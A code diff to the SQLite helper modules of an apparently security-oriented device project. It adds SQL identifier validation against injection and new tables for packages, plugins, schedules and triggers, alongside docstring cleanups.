for r in rows:
|
||||||
cls = r["b_class"]
|
cls = r["b_class"]
|
||||||
enabled = int(r["b_enabled"]) # 0 reste 0
|
enabled = int(r["b_enabled"])
|
||||||
out.append({
|
out.append({
|
||||||
"name": cls,
|
"name": cls,
|
||||||
"image": f"/actions/actions_icons/{cls}.png",
|
"image": f"/actions/actions_icons/{cls}.png",
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/agents.py
|
"""agents.py - C2 agent management operations."""
|
||||||
# C2 (Command & Control) agent management operations
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import os
|
import os
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/backups.py
|
"""backups.py - Backup registry and management operations."""
|
||||||
# Backup registry and management operations
|
|
||||||
|
|
||||||
from typing import Any, Dict, List
|
from typing import Any, Dict, List
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# db_utils/base.py
|
"""base.py - Base database connection and transaction management."""
|
||||||
# Base database connection and transaction management
|
|
||||||
|
|
||||||
|
import re
|
||||||
import sqlite3
|
import sqlite3
|
||||||
import time
|
import time
|
||||||
from contextlib import contextmanager
|
from contextlib import contextmanager
|
||||||
@@ -12,6 +12,16 @@ from logger import Logger
|
|||||||
|
|
||||||
logger = Logger(name="db_utils.base", level=logging.DEBUG)
|
logger = Logger(name="db_utils.base", level=logging.DEBUG)
|
||||||
|
|
||||||
|
# Regex for valid SQLite identifiers: alphanumeric + underscore, must start with letter/underscore
|
||||||
|
_SAFE_IDENT_RE = re.compile(r'^[A-Za-z_][A-Za-z0-9_]*$')
|
||||||
|
|
||||||
|
|
||||||
|
def _validate_identifier(name: str, kind: str = "identifier") -> str:
|
||||||
|
"""Validate that a SQL identifier (table/column name) is safe against injection."""
|
||||||
|
if not name or not _SAFE_IDENT_RE.match(name):
|
||||||
|
raise ValueError(f"Invalid SQL {kind}: {name!r}")
|
||||||
|
return name
|
||||||
|
|
||||||
|
|
||||||
class DatabaseBase:
|
class DatabaseBase:
|
||||||
"""
|
"""
|
||||||
@@ -120,12 +130,15 @@ class DatabaseBase:
|
|||||||
|
|
||||||
def _column_names(self, table: str) -> List[str]:
|
def _column_names(self, table: str) -> List[str]:
|
||||||
"""Return a list of column names for a given table (empty if table missing)"""
|
"""Return a list of column names for a given table (empty if table missing)"""
|
||||||
|
_validate_identifier(table, "table name")
|
||||||
with self._cursor() as c:
|
with self._cursor() as c:
|
||||||
c.execute(f"PRAGMA table_info({table});")
|
c.execute(f"PRAGMA table_info({table});")
|
||||||
return [r[1] for r in c.fetchall()]
|
return [r[1] for r in c.fetchall()]
|
||||||
|
|
||||||
def _ensure_column(self, table: str, column: str, ddl: str) -> None:
|
def _ensure_column(self, table: str, column: str, ddl: str) -> None:
|
||||||
"""Add a column with the provided DDL if it does not exist yet"""
|
"""Add a column with the provided DDL if it does not exist yet"""
|
||||||
|
_validate_identifier(table, "table name")
|
||||||
|
_validate_identifier(column, "column name")
|
||||||
cols = self._column_names(table) if self._table_exists(table) else []
|
cols = self._column_names(table) if self._table_exists(table) else []
|
||||||
if column not in cols:
|
if column not in cols:
|
||||||
self.execute(f"ALTER TABLE {table} ADD COLUMN {ddl};")
|
self.execute(f"ALTER TABLE {table} ADD COLUMN {ddl};")
|
||||||
@@ -134,13 +147,15 @@ class DatabaseBase:
|
|||||||
# MAINTENANCE OPERATIONS
|
# MAINTENANCE OPERATIONS
|
||||||
# =========================================================================
|
# =========================================================================
|
||||||
|
|
||||||
|
_VALID_CHECKPOINT_MODES = {"PASSIVE", "FULL", "RESTART", "TRUNCATE"}
|
||||||
|
|
||||||
def checkpoint(self, mode: str = "TRUNCATE") -> Tuple[int, int, int]:
|
def checkpoint(self, mode: str = "TRUNCATE") -> Tuple[int, int, int]:
|
||||||
"""
|
"""
|
||||||
Force a WAL checkpoint. Returns (busy, log_frames, checkpointed_frames).
|
Force a WAL checkpoint. Returns (busy, log_frames, checkpointed_frames).
|
||||||
mode ∈ {PASSIVE, FULL, RESTART, TRUNCATE}
|
mode ∈ {PASSIVE, FULL, RESTART, TRUNCATE}
|
||||||
"""
|
"""
|
||||||
mode = (mode or "PASSIVE").upper()
|
mode = (mode or "PASSIVE").upper()
|
||||||
if mode not in {"PASSIVE", "FULL", "RESTART", "TRUNCATE"}:
|
if mode not in self._VALID_CHECKPOINT_MODES:
|
||||||
mode = "PASSIVE"
|
mode = "PASSIVE"
|
||||||
with self._cursor() as c:
|
with self._cursor() as c:
|
||||||
c.execute(f"PRAGMA wal_checkpoint({mode});")
|
c.execute(f"PRAGMA wal_checkpoint({mode});")
|
||||||
|
|||||||
@@ -1,6 +1,4 @@
|
|||||||
"""
|
"""bifrost.py - Networks, handshakes, epochs, activity, peers, plugin data."""
|
||||||
Bifrost DB operations — networks, handshakes, epochs, activity, peers, plugin data.
|
|
||||||
"""
|
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from logger import Logger
|
from logger import Logger
|
||||||
@@ -89,7 +87,7 @@ class BifrostOps:
|
|||||||
"ON bifrost_activity(timestamp DESC)"
|
"ON bifrost_activity(timestamp DESC)"
|
||||||
)
|
)
|
||||||
|
|
||||||
# Peers (mesh networking — Phase 2)
|
# Peers (mesh networking - Phase 2)
|
||||||
self.base.execute("""
|
self.base.execute("""
|
||||||
CREATE TABLE IF NOT EXISTS bifrost_peers (
|
CREATE TABLE IF NOT EXISTS bifrost_peers (
|
||||||
peer_id TEXT PRIMARY KEY,
|
peer_id TEXT PRIMARY KEY,
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/comments.py
|
"""comments.py - Comment and status message operations."""
|
||||||
# Comment and status message operations
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import os
|
import os
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/config.py
|
"""config.py - Configuration management operations."""
|
||||||
# Configuration management operations
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import ast
|
import ast
|
||||||
|
|||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/credentials.py
|
"""credentials.py - Credential storage and management operations."""
|
||||||
# Credential storage and management operations
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import sqlite3
|
import sqlite3
|
||||||
|
|||||||
@@ -1,9 +1,9 @@
|
|||||||
# db_utils/hosts.py
|
"""hosts.py - Host and network device management operations."""
|
||||||
# Host and network device management operations
|
|
||||||
|
|
||||||
import time
|
import time
|
||||||
import sqlite3
|
import sqlite3
|
||||||
from typing import Any, Dict, Iterable, List, Optional
|
from typing import Any, Dict, Iterable, List, Optional
|
||||||
|
from db_utils.base import _validate_identifier
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from logger import Logger
|
from logger import Logger
|
||||||
@@ -428,6 +428,7 @@ class HostOps:
|
|||||||
if tname == 'hosts':
|
if tname == 'hosts':
|
||||||
continue
|
continue
|
||||||
try:
|
try:
|
||||||
|
_validate_identifier(tname, "table name")
|
||||||
cur.execute(f"PRAGMA table_info({tname})")
|
cur.execute(f"PRAGMA table_info({tname})")
|
||||||
cols = [r[1].lower() for r in cur.fetchall()]
|
cols = [r[1].lower() for r in cur.fetchall()]
|
||||||
if 'mac_address' in cols:
|
if 'mac_address' in cols:
|
||||||
|
|||||||
@@ -1,6 +1,4 @@
|
|||||||
"""
|
"""loki.py - HID script and job tracking operations."""
|
||||||
Loki DB operations — HID scripts and job tracking.
|
|
||||||
"""
|
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from logger import Logger
|
from logger import Logger
|
||||||
|
|||||||
54
db_utils/packages.py
Normal file
54
db_utils/packages.py
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
"""packages.py - Custom package tracking operations."""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
from typing import Any, Dict, List, Optional
|
||||||
|
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
logger = Logger(name="db_utils.packages", level=logging.DEBUG)
|
||||||
|
|
||||||
|
|
||||||
|
class PackageOps:
|
||||||
|
"""Custom package management operations"""
|
||||||
|
|
||||||
|
def __init__(self, base):
|
||||||
|
self.base = base
|
||||||
|
|
||||||
|
def create_tables(self):
|
||||||
|
"""Create custom_packages table"""
|
||||||
|
self.base.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS custom_packages (
|
||||||
|
name TEXT PRIMARY KEY,
|
||||||
|
version TEXT,
|
||||||
|
installed_at TEXT DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
installed_by TEXT DEFAULT 'user'
|
||||||
|
);
|
||||||
|
""")
|
||||||
|
logger.debug("Packages table created/verified")
|
||||||
|
|
||||||
|
# =========================================================================
|
||||||
|
# PACKAGE OPERATIONS
|
||||||
|
# =========================================================================
|
||||||
|
|
||||||
|
def add_package(self, name: str, version: str) -> None:
|
||||||
|
"""Insert or replace a package record"""
|
||||||
|
self.base.execute("""
|
||||||
|
INSERT OR REPLACE INTO custom_packages (name, version)
|
||||||
|
VALUES (?, ?);
|
||||||
|
""", (name, version))
|
||||||
|
|
||||||
|
def remove_package(self, name: str) -> None:
|
||||||
|
"""Delete a package by name"""
|
||||||
|
self.base.execute("DELETE FROM custom_packages WHERE name=?;", (name,))
|
||||||
|
|
||||||
|
def list_packages(self) -> List[Dict[str, Any]]:
|
||||||
|
"""List all tracked packages"""
|
||||||
|
return self.base.query(
|
||||||
|
"SELECT * FROM custom_packages ORDER BY name;"
|
||||||
|
)
|
||||||
|
|
||||||
|
def get_package(self, name: str) -> Optional[Dict[str, Any]]:
|
||||||
|
"""Get a single package by name"""
|
||||||
|
return self.base.query_one(
|
||||||
|
"SELECT * FROM custom_packages WHERE name=?;", (name,)
|
||||||
|
)
|
||||||
137
db_utils/plugins.py
Normal file
137
db_utils/plugins.py
Normal file
@@ -0,0 +1,137 @@
|
|||||||
|
"""plugins.py - Plugin configuration and hook tracking operations."""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
from typing import Any, Dict, List, Optional
|
||||||
|
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
logger = Logger(name="db_utils.plugins", level=logging.DEBUG)
|
||||||
|
|
||||||
|
|
||||||
|
class PluginOps:
|
||||||
|
"""Plugin configuration and hook registration operations."""
|
||||||
|
|
||||||
|
def __init__(self, base):
|
||||||
|
self.base = base
|
||||||
|
|
||||||
|
def create_tables(self):
|
||||||
|
"""Create plugin_configs and plugin_hooks tables."""
|
||||||
|
|
||||||
|
self.base.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS plugin_configs (
|
||||||
|
plugin_id TEXT PRIMARY KEY,
|
||||||
|
enabled INTEGER DEFAULT 1,
|
||||||
|
config_json TEXT DEFAULT '{}',
|
||||||
|
meta_json TEXT DEFAULT '{}',
|
||||||
|
installed_at TEXT DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
updated_at TEXT DEFAULT CURRENT_TIMESTAMP
|
||||||
|
);
|
||||||
|
""")
|
||||||
|
|
||||||
|
self.base.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS plugin_hooks (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
plugin_id TEXT NOT NULL,
|
||||||
|
hook_name TEXT NOT NULL,
|
||||||
|
UNIQUE(plugin_id, hook_name),
|
||||||
|
FOREIGN KEY (plugin_id) REFERENCES plugin_configs(plugin_id)
|
||||||
|
ON DELETE CASCADE
|
||||||
|
);
|
||||||
|
""")
|
||||||
|
|
||||||
|
self.base.execute(
|
||||||
|
"CREATE INDEX IF NOT EXISTS idx_plugin_hooks_hook "
|
||||||
|
"ON plugin_hooks(hook_name);"
|
||||||
|
)
|
||||||
|
|
||||||
|
logger.debug("Plugin tables created/verified")
|
||||||
|
|
||||||
|
# ── Config CRUD ──────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def get_plugin_config(self, plugin_id: str) -> Optional[Dict[str, Any]]:
|
||||||
|
"""Get plugin config row. Returns dict with parsed config_json and meta."""
|
||||||
|
row = self.base.query_one(
|
||||||
|
"SELECT * FROM plugin_configs WHERE plugin_id=?;", (plugin_id,)
|
||||||
|
)
|
||||||
|
if row:
|
||||||
|
try:
|
||||||
|
row["config"] = json.loads(row.get("config_json") or "{}")
|
||||||
|
except Exception:
|
||||||
|
row["config"] = {}
|
||||||
|
try:
|
||||||
|
row["meta"] = json.loads(row.get("meta_json") or "{}")
|
||||||
|
except Exception:
|
||||||
|
row["meta"] = {}
|
||||||
|
return row
|
||||||
|
|
||||||
|
def save_plugin_config(self, plugin_id: str, config: dict) -> None:
|
||||||
|
"""Update config_json for a plugin."""
|
||||||
|
self.base.execute("""
|
||||||
|
UPDATE plugin_configs
|
||||||
|
SET config_json = ?, updated_at = CURRENT_TIMESTAMP
|
||||||
|
WHERE plugin_id = ?;
|
||||||
|
""", (json.dumps(config, ensure_ascii=False), plugin_id))
|
||||||
|
|
||||||
|
def upsert_plugin(self, plugin_id: str, enabled: int, config: dict, meta: dict) -> None:
|
||||||
|
"""Insert or update a plugin record."""
|
||||||
|
self.base.execute("""
|
||||||
|
INSERT INTO plugin_configs (plugin_id, enabled, config_json, meta_json)
|
||||||
|
VALUES (?, ?, ?, ?)
|
||||||
|
ON CONFLICT(plugin_id) DO UPDATE SET
|
||||||
|
enabled = excluded.enabled,
|
||||||
|
meta_json = excluded.meta_json,
|
||||||
|
updated_at = CURRENT_TIMESTAMP;
|
||||||
|
""", (plugin_id, enabled, json.dumps(config, ensure_ascii=False),
|
||||||
|
json.dumps(meta, ensure_ascii=False)))
|
||||||
|
|
||||||
|
def delete_plugin(self, plugin_id: str) -> None:
|
||||||
|
"""Delete plugin and its hooks (CASCADE)."""
|
||||||
|
self.base.execute("DELETE FROM plugin_configs WHERE plugin_id=?;", (plugin_id,))
|
||||||
|
|
||||||
|
def list_plugins(self) -> List[Dict[str, Any]]:
|
||||||
|
"""List all registered plugins."""
|
||||||
|
rows = self.base.query("SELECT * FROM plugin_configs ORDER BY plugin_id;")
|
||||||
|
for r in rows:
|
||||||
|
try:
|
||||||
|
r["config"] = json.loads(r.get("config_json") or "{}")
|
||||||
|
except Exception:
|
||||||
|
r["config"] = {}
|
||||||
|
try:
|
||||||
|
r["meta"] = json.loads(r.get("meta_json") or "{}")
|
||||||
|
except Exception:
|
||||||
|
r["meta"] = {}
|
||||||
|
return rows
|
||||||
|
|
||||||
|
def set_plugin_enabled(self, plugin_id: str, enabled: bool) -> None:
|
||||||
|
"""Toggle plugin enabled state."""
|
||||||
|
self.base.execute(
|
||||||
|
"UPDATE plugin_configs SET enabled=?, updated_at=CURRENT_TIMESTAMP WHERE plugin_id=?;",
|
||||||
|
(1 if enabled else 0, plugin_id)
|
||||||
|
)
|
||||||
|
|
||||||
|
# ── Hook CRUD ────────────────────────────────────────────────────
|
||||||
|
|
||||||
|
def set_plugin_hooks(self, plugin_id: str, hooks: List[str]) -> None:
|
||||||
|
"""Replace all hooks for a plugin."""
|
||||||
|
with self.base.transaction():
|
||||||
|
self.base.execute("DELETE FROM plugin_hooks WHERE plugin_id=?;", (plugin_id,))
|
||||||
|
for h in hooks:
|
||||||
|
self.base.execute(
|
||||||
|
"INSERT OR IGNORE INTO plugin_hooks(plugin_id, hook_name) VALUES(?,?);",
|
||||||
|
(plugin_id, h)
|
||||||
|
)
|
||||||
|
|
||||||
|
def get_hooks_for_event(self, hook_name: str) -> List[str]:
|
||||||
|
"""Get all plugin_ids subscribed to a given hook."""
|
||||||
|
rows = self.base.query(
|
||||||
|
"SELECT plugin_id FROM plugin_hooks WHERE hook_name=?;", (hook_name,)
|
||||||
|
)
|
||||||
|
return [r["plugin_id"] for r in rows]
|
||||||
|
|
||||||
|
def get_hooks_for_plugin(self, plugin_id: str) -> List[str]:
|
||||||
|
"""Get all hooks a plugin subscribes to."""
|
||||||
|
rows = self.base.query(
|
||||||
|
"SELECT hook_name FROM plugin_hooks WHERE plugin_id=?;", (plugin_id,)
|
||||||
|
)
|
||||||
|
return [r["hook_name"] for r in rows]
|
||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/queue.py
|
"""queue.py - Action queue management operations."""
|
||||||
# Action queue management operations
|
|
||||||
|
|
||||||
import json
|
import json
|
||||||
import sqlite3
|
import sqlite3
|
||||||
|
|||||||
244
db_utils/schedules.py
Normal file
244
db_utils/schedules.py
Normal file
@@ -0,0 +1,244 @@
|
|||||||
|
"""schedules.py - Script scheduling and trigger operations."""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
from datetime import datetime, timedelta
|
||||||
|
from typing import Any, Dict, List, Optional
|
||||||
|
|
||||||
|
from logger import Logger
|
||||||
|
|
||||||
|
logger = Logger(name="db_utils.schedules", level=logging.DEBUG)
|
||||||
|
|
||||||
|
|
||||||
|
class ScheduleOps:
|
||||||
|
"""Script schedule and trigger management operations"""
|
||||||
|
|
||||||
|
def __init__(self, base):
|
||||||
|
self.base = base
|
||||||
|
|
||||||
|
def create_tables(self):
|
||||||
|
"""Create script_schedules and script_triggers tables"""
|
||||||
|
self.base.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS script_schedules (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
script_name TEXT NOT NULL,
|
||||||
|
schedule_type TEXT NOT NULL DEFAULT 'recurring',
|
||||||
|
interval_seconds INTEGER,
|
||||||
|
run_at TEXT,
|
||||||
|
args TEXT DEFAULT '',
|
||||||
|
conditions TEXT,
|
||||||
|
enabled INTEGER DEFAULT 1,
|
||||||
|
last_run_at TEXT,
|
||||||
|
next_run_at TEXT,
|
||||||
|
run_count INTEGER DEFAULT 0,
|
||||||
|
last_status TEXT,
|
||||||
|
last_error TEXT,
|
||||||
|
created_at TEXT DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
updated_at TEXT DEFAULT CURRENT_TIMESTAMP
|
||||||
|
);
|
||||||
|
""")
|
||||||
|
self.base.execute("""
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_sched_next
|
||||||
|
ON script_schedules(next_run_at) WHERE enabled=1;
|
||||||
|
""")
|
||||||
|
self.base.execute("""
|
||||||
|
CREATE TABLE IF NOT EXISTS script_triggers (
|
||||||
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||||
|
script_name TEXT NOT NULL,
|
||||||
|
trigger_name TEXT NOT NULL,
|
||||||
|
conditions TEXT NOT NULL,
|
||||||
|
args TEXT DEFAULT '',
|
||||||
|
enabled INTEGER DEFAULT 1,
|
||||||
|
last_fired_at TEXT,
|
||||||
|
fire_count INTEGER DEFAULT 0,
|
||||||
|
cooldown_seconds INTEGER DEFAULT 60,
|
||||||
|
created_at TEXT DEFAULT CURRENT_TIMESTAMP
|
||||||
|
);
|
||||||
|
""")
|
||||||
|
self.base.execute("""
|
||||||
|
CREATE INDEX IF NOT EXISTS idx_trig_enabled
|
||||||
|
ON script_triggers(enabled) WHERE enabled=1;
|
||||||
|
""")
|
||||||
|
logger.debug("Schedule and trigger tables created/verified")
|
||||||
|
|
||||||
|
# =========================================================================
|
||||||
|
# SCHEDULE OPERATIONS
|
||||||
|
# =========================================================================
|
||||||
|
|
||||||
|
def add_schedule(self, script_name: str, schedule_type: str,
|
||||||
|
interval_seconds: Optional[int] = None,
|
||||||
|
run_at: Optional[str] = None, args: str = '',
|
||||||
|
conditions: Optional[str] = None) -> int:
|
||||||
|
"""Insert a new schedule entry and return its id"""
|
||||||
|
next_run_at = None
|
||||||
|
if schedule_type == 'recurring' and interval_seconds:
|
||||||
|
next_run_at = (datetime.utcnow() + timedelta(seconds=interval_seconds)).strftime('%Y-%m-%d %H:%M:%S')
|
||||||
|
elif run_at:
|
||||||
|
next_run_at = run_at
|
||||||
|
|
||||||
|
self.base.execute("""
|
||||||
|
INSERT INTO script_schedules
|
||||||
|
(script_name, schedule_type, interval_seconds, run_at, args, conditions, next_run_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?, ?, ?);
|
||||||
|
""", (script_name, schedule_type, interval_seconds, run_at, args, conditions, next_run_at))
|
||||||
|
|
||||||
|
rows = self.base.query("SELECT last_insert_rowid() AS id;")
|
||||||
|
return rows[0]['id'] if rows else 0
|
||||||
|
|
||||||
|
def update_schedule(self, id: int, **kwargs) -> None:
|
||||||
|
"""Update schedule fields; recompute next_run_at if interval changes"""
|
||||||
|
if not kwargs:
|
||||||
|
return
|
||||||
|
sets = []
|
||||||
|
params = []
|
||||||
|
for key, value in kwargs.items():
|
||||||
|
sets.append(f"{key}=?")
|
||||||
|
params.append(value)
|
||||||
|
sets.append("updated_at=datetime('now')")
|
||||||
|
params.append(id)
|
||||||
|
self.base.execute(
|
||||||
|
f"UPDATE script_schedules SET {', '.join(sets)} WHERE id=?;",
|
||||||
|
tuple(params)
|
||||||
|
)
|
||||||
|
# Recompute next_run_at if interval changed
|
||||||
|
if 'interval_seconds' in kwargs:
|
||||||
|
row = self.get_schedule(id)
|
||||||
|
if row and row['schedule_type'] == 'recurring' and kwargs['interval_seconds']:
|
||||||
|
next_run = (datetime.utcnow() + timedelta(seconds=kwargs['interval_seconds'])).strftime('%Y-%m-%d %H:%M:%S')
|
||||||
|
self.base.execute(
|
||||||
|
"UPDATE script_schedules SET next_run_at=?, updated_at=datetime('now') WHERE id=?;",
|
||||||
|
(next_run, id)
|
||||||
|
)
|
||||||
|
|
||||||
|
def delete_schedule(self, id: int) -> None:
|
||||||
|
"""Delete a schedule by id"""
|
||||||
|
self.base.execute("DELETE FROM script_schedules WHERE id=?;", (id,))
|
||||||
|
|
||||||
|
def list_schedules(self, enabled_only: bool = False) -> List[Dict[str, Any]]:
|
||||||
|
"""List all schedules, optionally filtered to enabled only"""
|
||||||
|
if enabled_only:
|
||||||
|
return self.base.query(
|
||||||
|
"SELECT * FROM script_schedules WHERE enabled=1 ORDER BY id;"
|
||||||
|
)
|
||||||
|
return self.base.query("SELECT * FROM script_schedules ORDER BY id;")
|
||||||
|
|
||||||
|
def get_schedule(self, id: int) -> Optional[Dict[str, Any]]:
|
||||||
|
"""Get a single schedule by id"""
|
||||||
|
return self.base.query_one(
|
||||||
|
"SELECT * FROM script_schedules WHERE id=?;", (id,)
|
||||||
|
)
|
||||||
|
|
||||||
|
def get_due_schedules(self) -> List[Dict[str, Any]]:
|
||||||
|
"""Get schedules that are due to run"""
|
||||||
|
return self.base.query("""
|
||||||
|
SELECT * FROM script_schedules
|
||||||
|
WHERE enabled=1
|
||||||
|
AND next_run_at <= datetime('now')
|
||||||
|
AND (last_status IS NULL OR last_status != 'running')
|
||||||
|
ORDER BY next_run_at;
|
||||||
|
""")
|
||||||
|
|
||||||
|
def mark_schedule_run(self, id: int, status: str, error: Optional[str] = None) -> None:
|
||||||
|
"""Mark a schedule as run, update counters, recompute next_run_at"""
|
||||||
|
row = self.get_schedule(id)
|
||||||
|
if not row:
|
||||||
|
return
|
||||||
|
|
||||||
|
now = datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')
|
||||||
|
|
||||||
|
if row['schedule_type'] == 'recurring' and row['interval_seconds']:
|
||||||
|
next_run = (datetime.utcnow() + timedelta(seconds=row['interval_seconds'])).strftime('%Y-%m-%d %H:%M:%S')
|
||||||
|
self.base.execute("""
|
||||||
|
UPDATE script_schedules
|
||||||
|
SET last_run_at=?, last_status=?, last_error=?,
|
||||||
|
run_count=run_count+1, next_run_at=?, updated_at=datetime('now')
|
||||||
|
WHERE id=?;
|
||||||
|
""", (now, status, error, next_run, id))
|
||||||
|
else:
|
||||||
|
# oneshot: disable after run
|
||||||
|
self.base.execute("""
|
||||||
|
UPDATE script_schedules
|
||||||
|
SET last_run_at=?, last_status=?, last_error=?,
|
||||||
|
run_count=run_count+1, enabled=0, updated_at=datetime('now')
|
||||||
|
WHERE id=?;
|
||||||
|
""", (now, status, error, id))
|
||||||
|
|
||||||
|
def toggle_schedule(self, id: int, enabled: bool) -> None:
|
||||||
|
"""Enable or disable a schedule"""
|
||||||
|
self.base.execute(
|
||||||
|
"UPDATE script_schedules SET enabled=?, updated_at=datetime('now') WHERE id=?;",
|
||||||
|
(1 if enabled else 0, id)
|
||||||
|
)
|
||||||
|
|
||||||
|
# =========================================================================
|
||||||
|
# TRIGGER OPERATIONS
|
||||||
|
# =========================================================================
|
||||||
|
|
||||||
|
def add_trigger(self, script_name: str, trigger_name: str, conditions: str,
|
||||||
|
args: str = '', cooldown_seconds: int = 60) -> int:
|
||||||
|
"""Insert a new trigger and return its id"""
|
||||||
|
self.base.execute("""
|
||||||
|
INSERT INTO script_triggers
|
||||||
|
(script_name, trigger_name, conditions, args, cooldown_seconds)
|
||||||
|
VALUES (?, ?, ?, ?, ?);
|
||||||
|
""", (script_name, trigger_name, conditions, args, cooldown_seconds))
|
||||||
|
|
||||||
|
rows = self.base.query("SELECT last_insert_rowid() AS id;")
|
||||||
|
return rows[0]['id'] if rows else 0
|
||||||
|
|
||||||
|
def update_trigger(self, id: int, **kwargs) -> None:
|
||||||
|
"""Update trigger fields"""
|
||||||
|
if not kwargs:
|
||||||
|
return
|
||||||
|
sets = []
|
||||||
|
params = []
|
||||||
|
for key, value in kwargs.items():
|
||||||
|
sets.append(f"{key}=?")
|
||||||
|
params.append(value)
|
||||||
|
params.append(id)
|
||||||
|
self.base.execute(
|
||||||
|
f"UPDATE script_triggers SET {', '.join(sets)} WHERE id=?;",
|
||||||
|
tuple(params)
|
||||||
|
)
|
||||||
|
|
||||||
|
def delete_trigger(self, id: int) -> None:
|
||||||
|
"""Delete a trigger by id"""
|
||||||
|
self.base.execute("DELETE FROM script_triggers WHERE id=?;", (id,))
|
||||||
|
|
||||||
|
def list_triggers(self, enabled_only: bool = False) -> List[Dict[str, Any]]:
|
||||||
|
"""List all triggers, optionally filtered to enabled only"""
|
||||||
|
if enabled_only:
|
||||||
|
return self.base.query(
|
||||||
|
"SELECT * FROM script_triggers WHERE enabled=1 ORDER BY id;"
|
||||||
|
)
|
||||||
|
return self.base.query("SELECT * FROM script_triggers ORDER BY id;")
|
||||||
|
|
||||||
|
def get_trigger(self, id: int) -> Optional[Dict[str, Any]]:
|
||||||
|
"""Get a single trigger by id"""
|
||||||
|
return self.base.query_one(
|
||||||
|
"SELECT * FROM script_triggers WHERE id=?;", (id,)
|
||||||
|
)
|
||||||
|
|
||||||
|
def get_active_triggers(self) -> List[Dict[str, Any]]:
|
||||||
|
"""Get all enabled triggers"""
|
||||||
|
return self.base.query(
|
||||||
|
"SELECT * FROM script_triggers WHERE enabled=1 ORDER BY id;"
|
||||||
|
)
|
||||||
|
|
||||||
|
def mark_trigger_fired(self, id: int) -> None:
|
||||||
|
"""Record that a trigger has fired"""
|
||||||
|
self.base.execute("""
|
||||||
|
UPDATE script_triggers
|
||||||
|
SET last_fired_at=datetime('now'), fire_count=fire_count+1
|
||||||
|
WHERE id=?;
|
||||||
|
""", (id,))
|
||||||
|
|
||||||
|
def is_trigger_on_cooldown(self, id: int) -> bool:
|
||||||
|
"""Check if a trigger is still within its cooldown period"""
|
||||||
|
row = self.base.query_one("""
|
||||||
|
SELECT 1 AS on_cooldown FROM script_triggers
|
||||||
|
WHERE id=?
|
||||||
|
AND last_fired_at IS NOT NULL
|
||||||
|
AND datetime(last_fired_at, '+' || cooldown_seconds || ' seconds') > datetime('now');
|
||||||
|
""", (id,))
|
||||||
|
return row is not None
|
||||||
@@ -1,5 +1,4 @@
|
|||||||
# db_utils/scripts.py
|
"""scripts.py - Script and project metadata operations."""
|
||||||
# Script and project metadata operations
|
|
||||||
|
|
||||||
from typing import Any, Dict, List, Optional
|
from typing import Any, Dict, List, Optional
|
||||||
import logging
|
import logging
|
||||||
|
|||||||
@@ -1,11 +1,10 @@
|
|||||||
"""
|
"""sentinel.py - Events, rules, and known devices baseline."""
|
||||||
Sentinel DB operations — events, rules, known devices baseline.
|
|
||||||
"""
|
|
||||||
import json
|
import json
|
||||||
import logging
|
import logging
|
||||||
from typing import Any, Dict, List, Optional
|
from typing import Any, Dict, List, Optional
|
||||||
|
|
||||||
from logger import Logger
|
from logger import Logger
|
||||||
|
from db_utils.base import _validate_identifier
|
||||||
|
|
||||||
logger = Logger(name="db_utils.sentinel", level=logging.DEBUG)
|
logger = Logger(name="db_utils.sentinel", level=logging.DEBUG)
|
||||||
|
|
||||||
@@ -17,7 +16,7 @@ class SentinelOps:
|
|||||||
def create_tables(self):
|
def create_tables(self):
|
||||||
"""Create all Sentinel tables."""
|
"""Create all Sentinel tables."""
|
||||||
|
|
||||||
# Known device baselines — MAC → expected behavior
|
# Known device baselines - MAC → expected behavior
|
||||||
self.base.execute("""
|
self.base.execute("""
|
||||||
CREATE TABLE IF NOT EXISTS sentinel_devices (
|
CREATE TABLE IF NOT EXISTS sentinel_devices (
|
||||||
mac_address TEXT PRIMARY KEY,
|
mac_address TEXT PRIMARY KEY,
|
||||||
@@ -261,9 +260,11 @@ class SentinelOps:
|
|||||||
if existing:
|
if existing:
|
||||||
sets = []
|
sets = []
|
||||||
params = []
|
params = []
|
||||||
|
_ALLOWED_DEVICE_COLS = {"alias", "trusted", "watch", "expected_ips",
|
||||||
|
"expected_ports", "notes"}
|
||||||
for k, v in kwargs.items():
|
for k, v in kwargs.items():
|
||||||
if k in ("alias", "trusted", "watch", "expected_ips",
|
if k in _ALLOWED_DEVICE_COLS:
|
||||||
"expected_ports", "notes"):
|
_validate_identifier(k, "column name")
|
||||||
sets.append(f"{k} = ?")
|
sets.append(f"{k} = ?")
|
||||||
params.append(v)
|
params.append(v)
|
||||||
sets.append("last_seen = CURRENT_TIMESTAMP")
|
sets.append("last_seen = CURRENT_TIMESTAMP")
|
||||||
|
